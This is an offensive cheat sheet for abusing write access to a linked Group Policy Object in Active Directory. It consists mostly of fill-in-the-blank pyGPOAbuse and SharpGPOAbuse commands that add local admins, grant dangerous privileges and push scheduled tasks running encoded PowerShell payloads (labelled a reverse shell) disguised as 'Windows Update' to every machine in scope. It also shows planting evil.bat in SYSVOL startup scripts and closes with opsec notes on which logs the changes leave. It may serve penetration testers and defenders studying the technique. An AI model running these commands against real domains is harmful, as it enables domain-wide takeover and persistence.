GPLink
A GPO is linked to the target OU/Site/Domain. If an attacker controls the GPO, modifications affect all computers and users in scope of the link.
Applies to: GPO β OU/Domain/Site
Note
GPLink is an abuse path when you have write access to the linked GPO (via GenericAll, GenericWrite, or owns the GPO object). Modifications to the GPO affect all computers/users in the linked container.
Linux Abuse
pyGPOAbuse β Add local admin
pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -localadmin <username>
pyGPOAbuse β Scheduled task (reverse shell)
pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -taskname 'Update' -command 'cmd.exe /c powershell -e <base64-payload>' -description 'Windows Update'
pyGPOAbuse β Immediate scheduled task (runs now)
pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -taskname 'Update' -command 'cmd.exe /c whoami > C:\out.txt' -immediate
Get GPO GUID from BloodHound or ldapsearch
ldapsearch -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' -b 'DC=<domain>,DC=<tld>' '(objectClass=groupPolicyContainer)' displayName cn
Force group policy refresh on target
# Via wmiexec after gaining access
wmiexec.py <domain>/<username>:'<password>'@<target-computer> 'gpupdate /force'
Windows Abuse
SharpGPOAbuse β Add local admin
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <username> --GPOName "<gpo-name>"
SharpGPOAbuse β Add user right (e.g., SeDebugPrivilege)
SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege,SeLoadDriverPrivilege" --UserAccount <username> --GPOName "<gpo-name>"
SharpGPOAbuse β Scheduled task for all computers in scope
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -e <base64-payload>" --GPOName "<gpo-name>"
SharpGPOAbuse β Scheduled task for all users in scope
SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -e <base64-payload>" --GPOName "<gpo-name>"
Force GPO refresh (PowerShell)
Invoke-GPUpdate -Computer <target-computer> -Force
Enumerate GPO link targets (PowerView)
Get-DomainGPO -Identity '<gpo-name>' | Get-DomainGPOLinkedOU
Get-DomainOU | Get-DomainGPOLinkedOU
Edit GPO directly (RSAT)
# If you have write rights on the GPO SYSVOL path:
# \\<domain>\SYSVOL\<domain>\Policies\{<gpo-guid>}\Machine\Scripts\Startup\
Copy-Item evil.bat "\\<domain>\SYSVOL\<domain>\Policies\{<gpo-guid>}\Machine\Scripts\Startup\evil.bat"
Opsec
- GPO changes generate Event ID 5136 on the DC
- Policy applies on next refresh interval (default 90 min Β± 30 min for computers, 90 min for users) or immediately with
gpupdate /force - Immediate scheduled tasks run once then delete β lower persistence but fast execution
- SharpGPOAbuse modifies SYSVOL β file write operations are logged by file auditing if enabled